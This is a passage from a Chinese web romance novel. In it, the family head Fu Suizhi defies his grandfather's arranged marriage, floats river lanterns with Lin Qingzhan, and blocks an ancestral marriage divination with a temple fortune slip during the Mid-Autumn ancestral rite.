夏天里天气太热,不吹凉的睡不下,吹了凉气她又容易感冒,这两天时常轻咳,沈钰铭费心给熬了甜汤,让沈家蓉很是高兴。 这会儿沈钰铭还拿着扇子在一旁给她扇风,说些好听的话,沈家蓉嘴角的笑容怎么都抑制不住。 傅常进来禀报,说傅随之过来了,沈家蓉立马变了一副脸面,“让他在门口候着吧,你去问问老爷,还要不要见他。” “是。” 傅常入了里屋,将傅怀锦唤醒,在他耳边说了这事儿,傅怀锦缓缓醒来,借着傅常搀扶坐起身。 十分钟后,方才走到外屋坐下,“让他进来吧。” 傅常赶忙走出去。 黑夜里,傅随之一身黑色西服黑色衬衫站在屋檐下,身姿挺拔,神色清冷,一双狭长眼眸像是猎豹般犀利阴翳。 傅常看了眼,心底往下沉。 这几年他逐渐感觉到,傅随之的气势更加沉稳,已经不再是当年跪在院子里哭着要老爷子为他做主的孩子。 或许,傅家快彻底变天了。 第44章 傅常在老爷子身边伺候了几十年,也是看着傅随之长大的,最是了解这位的性情,其实比外界所传得还要可怖。 外人都传他阴狠毒辣,其实这类人并不可怕,只要捧着哄着,甚至是避之远之就可以了。 但傅随之不是。 他内里是个重情义的人,这些年被打压被针对,即便是已逝的父母和失踪的妹妹,也能成为别人手中的利剑,反复地刺向他,养出他这一身的阴翳可怖。 别人都不知道,傅常心底却是清楚的,这位不只是阴狠毒辣,若是有人得罪他,他往后必然一点一点地讨回来,要叫对方不得好死。 所以这些年来,不管傅清檐和傅鸿源他们如何针对傅随之,不管荣华园里这两位如何打压教育,傅常总是对他以礼相待,私底下能讨好就讨好。 他疾步走过去,躬身站在傅随之面前,“家主,老爷子方才睡下了,这会儿才起来。您快请。” 傅随之冷冷看他一眼,迈步往里面走。 屋里依旧没有亮明灯,只有罗汉椅两边亮着古灯,足以看清屋里的人,却还是显得有些幽暗诡异。 老爷子傅怀锦端着茶水漱了漱,下一秒,直接将茶杯扔在傅随之脚边,古董茶杯碎得四分五裂,溅起浅青色的茶水。 傅随之站在原地,巍然不动,连睫毛都没颤一下。 老爷子自个儿气得半死,“我说你翅膀硬了,你当真以为自己翅膀硬了?” 傅随之终于抬眸看向他。 “以往跟你说的话,我看你是忘了一干二净。好不容易把你扶上位,又给你谈了这么一门婚事,让傅家和沈家能够互相支撑,叫你位置坐得更稳固些。你倒是不乐意了啊?” 傅随之面无表情,“嗯,不愿意。” “你!”傅怀锦猛地拍了拍桌子,“什么都给你安排得好好的,你有什么好不乐意的?” “安排,我不需要。” 傅怀锦气得嘴都歪了,傅常给顺了顺气,他才继续说道:“就一个女人能把你迷得团团转啊?你就是跟你那死鬼爹一个德行,看不到好的,只管往深潭里面栽!你看看你爹是什么个下场!” 原本傅随之没什么表情,可听到傅怀锦又开始说他父亲,眼神阴沉了些许。 这二十几年来,傅随之在傅怀锦膝下长大,时常要听到这些闲言碎语,傅怀锦嫌弃傅清庭找了个不能支撑自己的妻子,沈家蓉则骂棠傛是个拖后腿的妖精,才会双双丢了性命,扔下这孤儿让他们受累。 即便傅随之再独立,这些话每隔一段时间必然要再说一遍。 沈家蓉也跟着开口:“那个女人到底有什么好,一个唱戏的上不得台面,她以后能给你什么?” 傅随之眼神越发的冷,“她能留在我身边就行。” 这话出来,傅怀锦和沈家蓉都震惊了,这是他们养出来的冷血种会说的话? 沈家蓉哀叹,果然外面的狐媚子就是厉害,竟然让傅随之这冷血的也变得跟他爹一样脑子坏了。 傅怀锦是见过大世面的,比沈家蓉稳得住。 他一双浑浊眼眸看向傅随之,“既然那么喜欢,你留着就是,我不会拦着你。小钰就在这里,我今天替你们都把话摊开来说。” 沈钰铭看向傅怀锦,听傅怀锦继续说道:“你们结婚是利益结合,这件事大家心知肚明,对傅家对沈家都是好事。你们没感情可以慢慢培养,小钰也应该大度些,随之在外头养着什么人,你不用管。至于随之,那女人你要可以养在外头,家里还是得小钰支撑起来——” 傅随之冷笑,“不可能。” 傅怀锦抬眸看向傅随之,“这你还不满意?” 傅随之那猎豹般阴狠的眼眸死死盯着傅怀锦,“ 我只会有她一个女人,往后八抬大轿明媒正娶的也只会是她。” 傅怀锦拍案而起,“傅随之,你别得寸进尺!你想娶那个女人进我傅家门,休想!” 说罢,又是一阵扫过,直接将桌面的果盘砸到傅随之身上。 傅随之犹如松柏般站立,眼神都没眨一下。 “您还是歇着点,别给你气坏了身子。” 傅怀锦看他越发不顺眼,“你滚!滚!”- 傅慎和秦楠守在荣华园门口,互相干瞪眼。 虽然他们不想承认,但外人传闻傅随之根基不稳,这事儿不假。 傅家如此大家族,产业不只是傅氏集团,零零种种的,数都数不过来。 现在傅随之虽上位成了傅家家主,掌管傅氏集团,但公司里很多元老都是傅清檐的人,暗地里没少给傅随之使绊子。 傅清檐虽从傅氏集团退下来,但他自己手里创立了宏伟集团,资产不低,近几年交到傅鸿源手里,发展虽然不如之前,但根基太深,傅随之一时间还撼动不了他。 四年前,傅随之当上家主后,原本是打算十年内将他们都扳倒,那时候傅随之信心满满,自以为必然可以。 可谁能想到突然冒出林青盏这7变故。 秦楠低声说:“如果没有林小姐,三爷接受联姻安排,说不定三年内就能将傅清檐搞死了。” 傅慎冷脸,“没有林小姐,爷也不见得会接受联姻。” 傅随之是个非常不喜欢被掌控的人。 秦楠瘪嘴,“不接受联姻,也不会正面开战,终归是好一点吧。” “好与不好,现在说都没用。”傅慎看他,“要不想被爷折磨死,这些话还是别说。” “我知道,我又不傻,我怎么敢去他面前说,我就是跟你嘀咕嘀咕。”秦楠抓了抓头发,“蛰伏这么多年,如果在这里被绊倒,你能甘心啊?” 两人说着话,忽然见傅随之从院子里走出来。 明明是夏天,他的脸却犹如覆着寒霜。 秦楠立马闭嘴,紧跟着傅随之往外走。 没想冤家路窄,他们竟然在花园里遇到了大半夜在那边逗鸟的傅清檐。 青砖灰瓦凉亭下,圆柱子的红漆明艳得发亮,中间架着雕龙横杆,上面挂着红色鸟笼。 鸟笼有着海南黄花梨的底托,苏州老师傅雕的缠枝纹,架上立着只身披浓烈的钴蓝色羽氅的紫蓝金刚鹦鹉,正在用如黑曜石雕琢的喙咬开坚硬的核桃。 身穿华丽新中式唐装的傅清檐拿着鎏金小勺边给那价值百万的鸟喂水,边逗着它玩,“瞧瞧你再宝贵有什么用,还不是得靠爷爷养着。” 说完转身看到傅随之,故作惊诧,像是才发现他似的。 傅随之面无表情看他。 “是随之啊。”傅清檐装模做样,“你倒是回来了啊,好久没见过你了。还以为你公司忙不过来呢。” 傅随之声音没有任何起伏,“不至于。” “忙得过来就好啊。你现在可是傅家家主,忙点也是正常的,你看你哥整日闲在家里,我看着都生厌。” 这么多年,傅清檐都是这种姿态,暗地里使劲儿给他找事,三番五次往死里整他,见了面却能如此云淡风轻地和他闲聊家常,就是故意来恶心傅随之的。 但傅随之从小无依无靠这一路走过来,早就养成了一副波澜不惊的模样。 傅清檐:“听说老爷子给你谈了一门婚事,是跟沈家那位侄女?” 傅随之抬眸,就想看看他今天又要演什么戏码。 “老爷子真是煞费苦心啊,当年原本也是给你父亲谈了和沈家的婚事,这不没成。现在还惦记着给你安排。” “这么多年了,老爷子是真有心啊。” 傅清檐笑容更甚,“不过又听说你心底有人,把沈家那侄女给拒了,还当众下了她的脸面?这事儿,二叔不得不说说你了。怎么说都是老爷子和老太太给你谈下来的婚事,怎么也不好驳了他们的心意啊。” 傅随之声音平缓,“你要觉得好,这门婚事让傅鸿源去谈。” 傅清檐抬起一双浑浊眼眸看向傅随之,突然仰头大笑,好一会儿才停下来,“随之啊,不愧是家主,有什么还惦记着给你哥哥留着。” 傅随之眼神越发冷漠,“缪赞。” 说罢,他直接转身走了。 身后的傅清檐突然对着那紫蓝金刚鹦鹉敲了敲头,“你啊你,再矜贵再冷傲顶什么用?还不是得低头接着施舍。可悲哟可悲。” 傅随之继续往前迈步,脸色未变。 倒是旁边的秦楠气得手握拳。 这么些年,老宅里的所有人都是同一个招数,顶着多长出来的岁数自以为高高在上,想用身份压人,傅随之毫不畏惧,他们就反复用“傅清庭”来精神压迫傅随之。 秦楠每每都要气得牙痒痒的,傅随之倒是定力好,从未乱了分寸失了马脚。 傅随之冷面如霜走进海棠苑,抬眸看到林青盏坐在院子的木凳子上,手捧着简易版的海棠河灯。 白月光落下,映照得她脸蛋更加白皙,桃花眼明亮闪烁地望着他,声音甜美得像是拉丝的棉花糖。 “随之,你回来了。” 傅家老宅很大,林青盏就来住过两次,全然不熟悉,也不敢随意走动。 傅随之去找老爷子后,她就跟着傅小灵他们回了海棠苑。 刚迈步走进去,林青盏看到明叔和李婶带着几位老人在院子里做花灯和灯笼,还有人在旁边折着金元宝。 林青盏目光扫过去,疑惑问:“这是要做什么?” 傅小灵和傅小敏对视一眼,不知道该不该和她说起。 最终是李婶开的口,“下周是我们家小姐的祭日,我们在准备祭拜的东西。” 林青盏之前听傅小灵说起过,李婶原本是棠家的佣人,棠傛嫁过来后,李婶跟着过来照顾,后来和傅明结婚就一直留在傅府。 她和明叔是照顾着傅随之长大的,傅随之从未真的将他们当做佣人,李婶自然是比较敢说的。 “往年这段时间,家主心情都很不好。今年有林小姐在,你给多劝劝。” 林青盏一时间不知道该说什么,只能点了点头。 祭拜需要的东西很多,她们总得提前准备。 院子里的很多佣人都是手艺人,不仅会折金元宝,还会做各种纸糊的东西,李婶则开始做河灯。 李婶手巧,折叠几次,用胶水粘好就是一个漂亮的莲花河灯。 “我们小姐在世的时候,没到过节的时候,就喜欢自己做花灯,到后面人工湖去玩。所以她去世后,我每年都会给她做花灯。一开始是九十九盏,后来做得顺手了就会给多做些,今年打算做九百九十九盏。” 林青盏拉起紫色长裙,蹲下身坐在木凳子上,“那我也一起做吧。” 她纤细指尖拿起旁边的小剪刀,跟着李婶学了下怎么剪出莲花花瓣的形状,后来又学着剪海棠花花瓣。 李婶一直很喜欢她,见她竟然跟着坐下做河灯,眼里有着安慰,跟林青盏讲解得越发仔细。 林青盏一步步做下来,很快做好了一朵莲花河灯,捧在掌心里,对着李婶扬眉笑着。 傅小敏坐在她身后,望着她的笑脸,看得有些出神。 姐姐傅小灵凑过来,将肩膀搭在她肩膀,“亲眼所见了,我说得是不是真的?” 傅小敏回眸看她,没说话,低头继续做莲花灯。 傅小灵手掌搭在她肩膀拍了拍。 过了两分钟,傅小敏又抬眸看向林青盏。 之前她在意大利的时候,国内的消息都是傅小灵告诉她的。 最开始,傅小灵跟她说傅随之带回来一个女人,一开始是傅鸿源那边给送来了林青盏的资料,说林青盏很有可能是傅于然,只是做了亲子鉴定结果不是。 但傅随之还是将人留在身边。 傅小灵说林青盏是个很好很有魅力的单纯姑娘,也说傅随之对林青盏不同于其他人。 傅小敏不信。 她觉得单纯的姑娘不可能会提出要跟傅随之,有魅力的女人多半都是带着目的性的妖精。 她更不信傅随之会对女人感兴趣。 直到秦楠通知她,傅随之允许她回国了。 原因是让她去贴身保护林青盏。 对于林青盏,傅小敏早有耳闻,心底是抗拒的,但她知道机会难得,错过这次,她再想回国就难了,所以她回来,按照傅随之的命令,二十四小时保护林青盏。 一开始只当是工作,后来她也不得不承认,傅小灵绝无虚言。 林青盏确实是个很有魅力的女人,她从来不会虚以委蛇,也不屑于跟人玩心机,她的眼神从来都是如此坦荡、真诚。 或许这就是傅随之喜欢林青盏的原因。 傅随之前半身孤苦无依,被老爷子亲手调教成清冷阴狠的冷血物种,在他面前玩心思,他或许看都不会看一眼。 可林青盏给他的是最坦然的真诚和甜美的温暖,像是烈日般给了傅随之最温暖的拥抱。 傅小敏不得不承认,林青盏确实有她的过人之处,是她是任何一个女人都无法做到的。 她们的心没有那么干净。 …… 以往,林青盏在望月台做过花灯,所以李婶教了一遍后,她就上手能独立完成了。 她先是做了河灯,后来又跟着李婶做了个海棠花花灯。 浅粉色的海棠花挂在雕花木棍上,花朵下缀着白玉佩流苏,比夜市里挂着的那些都还好看。 她一手提着海棠花灯,另一只手里捧着海棠花河灯,像是纯净小孩般在李婶面前晃了晃,“李婶,你好厉害,这两个灯都很好看。” 李婶笑,“是林小姐手巧。” 这时门外传来脚步声。 傅明听声音便能辨认,“是家主回来了。” 林青盏转过身,看到一身黑色西服的傅随之走进来,神色并不好看。 她扬起细眉,对他露出最灿烂甜美的笑容,“随之,你回来了。” 傅随之定睛看向她。 林青盏站起身,缓步走向他,将花灯提到他面前,“看,我做的花灯,好看吗?” 傅随之垂眸看了眼,没有出声。 她勾住他的衬衫袖口,将河灯放在他掌心,“你放过河灯么?我们去放河灯?” 说真的,傅随之没弄过这种东西。 林青盏不容他拒绝,抓住他的手腕,将他往人工湖那边拉过去。 蜿蜒走廊边,极为宽阔的人工湖四周铺着精心挑选的鹅卵石,被绿草环绕成小石子路。 林青盏拽着他一路走到湖边,将莲花花灯暂且放在一旁,双手捧着莲花河灯望向他,“你应该有火吧?” 傅随之从西装裤里掏出黑色打火机递给她。 她一手捧着海棠花河灯,右手接过打火机,随意弹开,火苗立即弹起来,在她瞳孔里晃动出暖黄色的影子。 连带着她的脸蛋都晃成了暖橙色,像是温暖的光。 傅随之看着她将河灯点亮,双手捧到他面前,声音轻柔缓和,像是动听的古筝突然响在他耳边。 “你知道河灯能许愿么?” 傅随之深深望着她,心底的压抑散开了些许,双手随意插进西装裤里,脸色难得放松。 “不知道。” 她莞尔一笑,眉眼弯弯,“那你现在知道了。我替你许愿吧?” “那算你的愿望,还是我的?” 她思考片刻,“算我的也行。” 傅随之挑眉,一副“随你开心”的姿态。 林青盏声音轻盈,在这安静的夜里显得有些空灵,但傅随之听的一清二楚。 她说:“我许愿你永世喜悦安康。” 像是怕老天听不到反悔,她弯下身,将掌心的海棠河灯缓缓放入湖里,孤孤单单地往前飘飘摇摇。 林青盏转头看他,“有没有感觉它有点小可怜,这么大的湖面,只有它小小只地在努力前进。” 傅随之点头,“有点。” “没关系,我让小灵和小敏拿很多很多过来。” 片刻后,傅小灵她们提着一大篮子的河灯过来,都是李婶刚做好的,秦楠和傅慎两人陪着她们,将河灯一盏盏点亮,递给林青盏。 不过片刻,湖面已飘满星星点点的河灯,像极了这暗夜里的一片天光。 林青盏转过身,抓住他的手掌,“看到我们声势浩荡的河灯队伍了么,他们现在势力强大,所以我的愿望一定会实现的。” 她纤细指尖点在他的嘴角,“开心点。冷面大王。” 傅随之眸光闪烁,溢出一声轻笑,手掌抚在她的后颈轻轻一捏,“林纾。” 她觉得痒痒的,推开他的手臂,不让他靠近。 一箩筐的河灯很快见底,秦楠拿起最后一个,点燃递给傅小敏。 傅小敏转过身递给林青盏,“最后一个,没有了。” 林青盏接过来,双手捧到傅随之面前,“只有你还没放过,这个给你。” 傅随之没有拒绝,拿过来很随意地放下。 最后一盏海棠花河灯落在湖面,慢慢飘向湖心,在水面荡漾着细细的涟漪。 犹如他的心境。 秦楠和傅小敏面面相觑。 林青盏不知道,从十岁那年,傅随之再也没有碰过河灯。 那年,李婶做了九十九盏河灯,想着在棠傛和傅清庭祭日这天放入湖中,把棠傛最喜欢的河灯送到她旁边,让她高兴高兴。 傅随之听到了便叫嚷着要一起放河灯。 明叔和李婶觉得为难,因为傅清庭棠傛去世这天是八月十五团圆节,老宅要祭祖还得吃中秋团圆饭。 傅随之必然是要出席的。 当时因为傅随之坚持祭拜完父亲和母亲,又去湖边放了所有的河灯,他们没能及时将傅随之送到宴会厅那边。 傅淮锦知道后,让傅常亲自过来将傅随之带到宗祠跪着,还拿戒尺鞭打掌心,严厉警告他要分清轻重。 傅小敏永远记得,那天她和傅慎站在宗祠门口,悄摸摸听着老爷子对傅随之的训斥:“是我平日里对你管教不严,竟让你懈怠如此?” “你那死了的爹和娘就葬在傅家墓地里,你平日里想怎么祭拜不成,一定要等今日来坏了规矩,落人话柄?” “我有没有跟你说过,生于傅府,想要活下去就不是易事,想要走上高位更没那么简单。你今天落人话柄,明天就会成为弃子。” “你只能站上高位,不能位于谷底。因为没权的人,连祖坟被撅也无能为力!你信不信,只要你输了,明儿你那父母的坟就能叫人挖出来丢入湖中!” …… 那一夜,傅随之在宗祠跪了一夜,四周黑暗无边,只有他一个人在坚持挺直腰杆。 之后,他慢慢养成了冷傲默然高高在上的姿态,行事阴狠毒辣,人人都要忌惮他三分。 他再没有在八月十五这天先祭拜父母乱了族里的规律,再没有碰过河灯,他的眼底也没有了光。 可今晚,林青盏给了他一片湖的光明,刺眼、夺目,也是温暖的- 八月十五很快来临。 凌晨四点,傅随之轻手轻脚起身,还是惊扰了身旁的林青盏。 林青盏难得睡眼朦胧,坐起身看向手提衬衫的男人。 他肩膀平直,双臂健硕,腹肌线条明朗,身材很好,满满荷尔蒙味道,反倒是胸口刺的那两朵海棠花有了旖旎之感。 他将黑色衬衫穿好,修长手指边扣着扣子,边低头在她额头落了个吻,“再睡会儿。” 昨晚他提前打过预防针,说今天八月十五族中事务繁多会很忙,让她待在海棠苑休息。 她自然懂得这话的言外之意,他是在交代,让她待在海棠苑,别乱跑。 因为今天全族人都会过来老宅,而她身份不明,压根不适合露面。 第45章 林青盏眉眼乖顺看着他修长指尖将衬衫扣子一粒粒扣上,她赤足落了地,去为他将黑色西装取过来。 傅随之转身穿上西装,将唯一的扣子扣好,抓住她白皙手臂,“上来。” 林青盏不明所以,下一秒被他勾住腰勾了过去,贴上他的同时,赤足踩在他的脚上。 他低头贴着她柔软耳廓,“早晨地上凉,别光脚踩着。” 她双手搭着他肩膀,指尖沿着西装领口一点点攀上他的脖颈勾住,微微仰头,几乎要贴上他的嘴唇,但她没有。 “就是下来拿件衣服,没事。” 他望着她,眸底情绪浓烈,低下头就要去亲她。 她歪头躲开,“外面不是还有人等着你。” 他指腹贴着她脸颊的红晕擦过, 捏着她下巴抬起,“亲一会儿。”话音落下,他贴上她柔软嘴唇,重重碾过。 他的吻和他的爱一样,从来都是汹涌的,像是海浪凶猛拍打着她的心间。 林青盏掌心都被他吻住汗来。 是到她快无法呼吸,傅随之才抬眸离开。 因为严重缺氧,她嘴唇发白,脑袋晕乎乎的,望着傅随之的神情带着一丝可怜。 傅随之轻笑一声,为她拭去柔润嘴唇的水泽,把她抱到床上,让她眯眼再睡会儿- 凌晨四点的院子,海棠花低着腰安静绽放,小池里的锦鲤一动不动藏匿在海草之间。 傅慎和秦楠西装革履等候在屋檐下,傅小灵和傅小敏坐在旁边的木凳上,两个脑袋互相抵着,很是困顿的模样。 这两人是双胞胎,几乎长得一模一样,但亲近的人一眼就能分别出两人的身份。 傅小灵喜欢穿中式风格长裙,黑长直发披散下来,看起来很是古典柔和。 傅小敏则习惯以干练的姿态出现在众人面前,高马尾卷发、浓妆,以及职业套装是她个人风格。 秦楠闲来无事,打了下傅小敏的高马尾,“你们这么早起干嘛,林小姐肯定还得睡下。” 傅小敏斜眼瞪他,“手又贱?” 秦楠:“我就贱,怎么,你还想打我?你现在这身板,不见得打得过我。” 傅小敏白他一眼,“今天没空,改天再揍你。” “……” 傅小灵笑着看向他们,“今天是夫人的忌日,待会妈妈就要起来准备,我们起来帮忙也好。而且指不定林小姐醒来,要有人在门外。” 话音刚落下,走廊尽头的卧室木门被拉开,是傅随之走了出来。 走廊里虽然亮着灯笼,但不比白天那样光明,冷白光将傅随之的脸庞映照得更是冷硬。 他一句话没说,冷傲往门外走。 傅小敏突然叫了声,“三爷。” 他停下脚步回眸。 傅小敏问:“今天是夫人忌日,我妈会过去打扫夫人旧居,林小姐还在。” 傅随之明白她的意思,“在这里,她可以随意出入。” “好的。” 傅小敏低头再抬眸的瞬间,傅随之已迈步往外走。 傅小灵拉了拉傅小敏的手掌,“走吧,去帮忙干活了。” 傅家老宅很是广阔,海棠苑在东边,与其他院落隔了一整片花园,像是从世外桃源回到尘世的路径。 身姿傲然的傅随之迈着大长腿走进傅府宗祠院子。 里面乌泱泱的人都抬头看过来,或仰慕,或审视,或嫉妒,或怨恨。 傅随之压根不在意,抬着头,目光冷漠没有任何温度,带着上位者的威严和冷傲,一步步走到宗祠门口。 他现在是傅家家主,除了老爷子,其他族中长辈以及族长都要对他敬重三分,看到他纷纷点头,“家主。” 今天族中的长辈们都在,傅鸿源和傅鸿浠对视一眼,只能跟着恭敬唤一声:“大哥。” 傅随之冷冷点头。 见人到齐,傅随之抬眸看了傅常一眼,傅常点了点头,往外走了两步,对着院子高喊一声:“祭祖仪式开始。” 老爷子拄着拐杖走到最前面,傅随之和傅清檐站在他两侧,往后是族长和几位长老,再来是傅鸿源和傅鸿浠。 不过片刻,院子里的人按照辈分通通站好。 有人专门点了香,从傅怀锦开始分发下去。 傅常:“拜!” 院子里的人同时弯腰祭拜。 傅常:“跪!” 随着悠长的唱和声,一族近百口人齐刷刷跪倒在祖宗牌位前。 “请家主上香。” 傅随之双手高举起定制香,手指抵在额头,虔诚祭拜。 青烟袅袅上升,模糊了祖宗牌位上鎏金的字迹。 身后所有人都没有想过,当年傅清庭原本唾手可得的家主之位,付出生命也没能收入囊中,反倒是当年那个没有父母依靠的孤儿变成了现在冷漠冷酷的狠人,顺利坐上这高高在上的位置。 他现在可以睥睨所人,而所有人都需以他为尊。 …… 整个祭拜仪式下来,不过半个小时,之后所有人转移到会客厅里面。 平日里只有傅氏子孙和族长长老们住在府上,其他人今天难得能过来,自然是要到傅随之面前刷刷脸。 他一袭高级定制西服坐在古木椅,修长手臂随意搭在扶手,姿态冰冷地应付他们。 傅怀锦始终坐在一旁,并未开口,手里捏着怀表,好似所有都掌控在他手里。 一刻钟后,族长和两位长老走了出来,说是要请家主去坐镇算卦。 这是傅氏每年祭祖的必走流程,会在宗祠前面摆上八卦阵占卜问祖宗指示,以往占卜出来的都是“行仁政”、“取东边之势得财”,或者是“安稳行事”等笼统的指向。 族中的人都知道,所谓卜卦,应当是算傅氏上位者对于下一秒的事业安排。 众人都没有在意,连同傅随之。 他站起身,率先走到八卦阵前,再次跪在祖宗牌牌匾面前。 族长和两位长老绕着八卦阵走了两圈,手里的摇铃清脆响起,无端跟过来一阵风,宗祠头顶悬挂着的三十六盏青铜灯跟着旋转起来。 长老将定制香插在青铜香炉里,族长一手拿着铜铃,另一只手拿着茭杯在香炉上来回薰了九回,又郑重其事摇了两下抛掷于八卦阵中。 傅怀锦抬眸看向族长,族长认真看了看,说道:“卦象已显。老祖宗给的指示是,桃花朵朵开,好事将近来。” 底下人随即面面相觑。 傅怀锦双手向上贴着地板,跪拜了三下,“孝子谢过祖宗指示。” 再抬起头,他看向族长,“随之、鸿源、鸿浠都已经长大成人,这桃花朵朵开,必然是意味着他们要为傅氏开枝散叶了。你给做个‘问婚卦’,请祖宗指引,哪家的小姐适合?” 跪在旁边的傅随之眸光冷如霜。 就知道这老头子必然有谋划等着将他拉进去。 族长手捧茭杯,在祖宗前博了“问婚卦”,很快抬眸看向傅怀锦,“祖先指引,喜鹊搭伴飞,幸福近在眼前。与傅氏结合的是水系的姓氏。” 旁边的长老:“那不就是沈家?” 傅怀锦这才满意地站起身,垂眸看着仍旧跪着的傅随之,“随之,你今年也二十七了,确实是时候结婚成家,祖宗指示沈家是不错的抉择。改日我亲自坐镇,让沈老爷过来谈谈婚事吧。” “这门婚事不必谈。”傅随之站起身,“我不同意。” 傅怀锦满脸威严:“祖先显灵,不可违逆!” 傅随之微微 抬起头,眼眸冷得犹如淬着寒冰,他望着傅怀锦,并未因为他的呵斥有半分退缩,反倒是挺起胸膛,冷眼以对。 族长劝说道:“家主,傅氏定居浮城几百年,世代以祖宗家训为传承,如今能有如此显赫门楣,都亏了祖先显灵。如今祖先提点,家主当娶妻生子,开枝散叶,若是不结婚,实在有违祖训。” 所有人都看向傅随之。 这些年傅怀锦将傅随之培养起来,但并没有真的放心,始终要将他掌控在掌心里。 傅怀锦知道傅随之现在的地位还不稳固,他性情阴狠,要结婚,自然是和老夫人的娘家绑定是最好的。 一来傅沈联合,势力必然更加强大,二来沈家是老夫人和老爷子的人,如此就能为老爷子当眼线,也能间接压住傅随之。 老爷子老谋深算,但傅随之也是个狠角色,连傅清檐都奈何不了他,更何况是退位已久的老爷子。 众人都以为今天这祭祖必然要闹得不欢而散了,没想到傅随之突然往后退了一步。 “爷爷,不是我要忤逆祖宗的意思,是随之确实不宜婚娶。” 傅怀锦一听这话,心底就咯噔了声。 傅随之淡淡然从西装口袋里掏出一张签纸,“四月,我去浮云寺祭拜,亲自抽的签。” 族长已经从傅随之手中将那卦语拿过来,看了看,脸色随即变了:“男测,财星受克无早娶,立而成家官运升。” 傅随之镜片下犀利眸光闪过,“浮云寺大师亲自给解了卦,说随之是命硬之人,断然不可早婚,否则会影响傅氏集团财运。要是三十而立成家,族运腾升。” 傅怀锦捏紧玉龙拐杖,是完全没想到傅随之会留着这后手。 “你是我傅家子嗣,怎么可能是这种命格,恐怕是浮云寺的大师解错签了。” 傅随之深深望着他:“爷爷不是最信浮云寺的大师所言?爷爷可是忘了当年为我父亲抽的那根签?” 傅怀锦垂眸看着签纸上的签语和日期,无话可说。 四月份,这个孽子就在做局要忤逆他! 这句签语,傅怀锦当年为了阻止傅清庭和棠傛结婚时也用过。 傅怀锦怎么也没想到,当年他耍手段落在傅清庭身上的签语,时隔二十七年,反倒是成了他面前的拦路石。 傅怀锦气得脸都绿了- 天光亮起,林青盏才起床打开卧室大门。 今日情况特殊,她穿了一袭米白色的旗袍,淡淡的海棠花底纹是为棠傛特意挑选的。 昨夜睡下前,傅随之从背后环抱着她,咬着她耳朵,跟她说今天务必等他回来,一起去祭拜他的父母。 她心底非常清楚,带她去见父母对他意味着什么。 她刚往外走,见到傅小灵和傅小敏正在院子里,安排工作人员将提前定制的灯笼挂在走廊上。 李婶和明叔则进进出出安排一波波的人在做各种杂事。 见她走出来,李婶提起手边的篮子对她笑着,“林小姐起来了。” 林青盏莞尔一笑,“有什么是我能做的吗?” “这么说来,是真的有件事要劳烦林小姐。” 傅小灵接过李婶手里的竹篮,“每年今天,我们和妈妈会去西厢房那边先打扫一遍。” 林青盏不明所以,看向傅小灵,听到她再次开口,“西厢房是老爷和夫人生前住的别院。” 跟着傅小灵她们往深处西厢房走去,林青盏还略显迟疑,“我没有提前请示随之,不如我先不去了。” 身后的傅小敏声音平静说道:“早上问过三爷了,三爷给的答复是:海棠苑里,姑娘可随意进出。” 林青盏诧异。 李婶摸了摸林青盏的手臂,满心都是喜欢。 院里的人都知道傅随之这句话就是准了林青盏在海棠苑里的身份,都知道傅随之是真的把林青盏放心里去了。 林青盏垂眸,心底是有些动容的。 海棠苑里种了很多的花,挂着的灯笼和壁画也多半都是海棠花为主。 时至八月,海棠花早就凋谢,林青盏推开小别院的大门时,闻到的是浓烈的桂花香。 再一抬眸,她看到院子里种了五彩缤纷的花圃,以桂花和月季开得最是鲜艳。 窗下的海棠花灯笼微微晃动着,有黑纹的蝴蝶落在屋檐下的桂花上,扑哧扑哧拍打着翅膀。 她们一走进,蝴蝶就飞走了。 李婶拿出丝帕搭在门上,将房门推开。 林青盏抬头看到屋里头挂着的那副画像,是穿着戏服的棠傛。 画像里的棠傛娇俏笑着,笑容很有感染力,让人忍不住就联想到当初在画这画像时,她必然是满心欢喜的。 李婶在旁边解释:“这是老爷年轻时候为夫人作的画。” 傅小灵和傅小敏各自拿着帕子,将屋子里的物品都抹了一遍。 林青盏看得出来屋子里并没什么灰尘,应该是经常有在打扫的,她纤细指尖贴着桌面轻轻划过,沿着桌角划到旁边摆放着的铜镜,望到了里面的自己。 李婶看着她,没忍住说一句:“林小姐,第一次见到你,我就感觉,你和我们家小姐长得真的好像。” 林青盏看着铜镜里的自己,感觉侧脸是有些相似的。 “小姐年轻时,皮肤白皙吹弹可破,那双眼眸水灵灵的,像是明珠似的。” 今天是棠傛祭日,李婶很想念棠傛,没忍住多言了几句。 早年间,傅清庭和唐家那位家主唐卿关系很好,出入唐家的时候,无意中碰上了去拜年的棠傛,匆匆一见便很是喜欢。 傅清庭缠着唐卿带他去棠府。 棠家是唐氏的旁支,算起来棠傛是要叫唐卿一声哥哥的,傅清庭看似斯文温柔,却不太要脸面,一见面就让棠傛叫他哥哥,棠傛从小性情温和,被他这么一逗,脸都红了。 那时候棠傛不过十六岁刚出道在宴乐门表演,傅清庭就带着唐卿几人天天去捧场,知道棠傛喜欢海棠花,就一波波往宴乐门送花,搞得沸沸扬扬的。 还是唐卿提醒他,棠傛尚且年少,这样会让小姑娘难做,傅清庭才收敛了些。 只是照旧每天去宴乐门捧场,不送花了,他就送别的,有时候还会亲自摘了石榴送过去,掰给棠傛吃。 这样过了几年,两人就背着家里偷偷在一起了。 直到府里突然说起要给傅清庭说媒。 “老爷子相中了沈家的小姐,想让老爷和沈家小姐联姻,能够壮大傅氏。小姐听到消息后,一整夜没睡着。隔天天还没亮,老爷就在门口等着小姐,将人拽上车跟小姐解释了这件事。” 李婶嘴角弯弯,“我能看得出来,老爷是真的很喜欢小姐。” 联姻的事情传出后,傅清庭怕棠傛误会,当场许诺要娶她,还说让她回家等着,过几日必然亲自上门提亲。 傅清庭回家后,跪在宗祠门口,求着傅怀锦让他娶棠傛,若是傅怀锦不答应,他愿自逐出傅家族谱。 棠家虽然是唐氏的旁支,能够依托唐氏,自然是好的。只是那时候傅家要往京圈发展,京圈沈家世代从商,沈家和政商通吃的周家还是一派,傅怀锦觉得沈家是最好的联盟,不想轻易错过,他自然是没有答应傅清庭的要求。 傅怀锦怕傅清庭真离家出走,干脆将他关在老宅里不让外出,傅清庭承诺的上门提亲成了妄言。 老爷子很是疼爱这个大儿子,不愿意跟他闹僵,就让浮云寺的大师给送了一支签过来,说傅清庭不能早婚,早婚必破,除非芙蓉花开,为他引路。 那芙蓉花自然是指的浮城沈家的沈芙蓉大小姐。 傅清庭什么都不听,以死相逼要逃出傅府,与老爷子僵持不下。 这时候棠傛遣人往傅府送了信,信中只说她怀孕了。 傅怀锦再坚持,终归不舍得让傅家的子嗣流落在外,棠傛更不可能做小被养在外面。 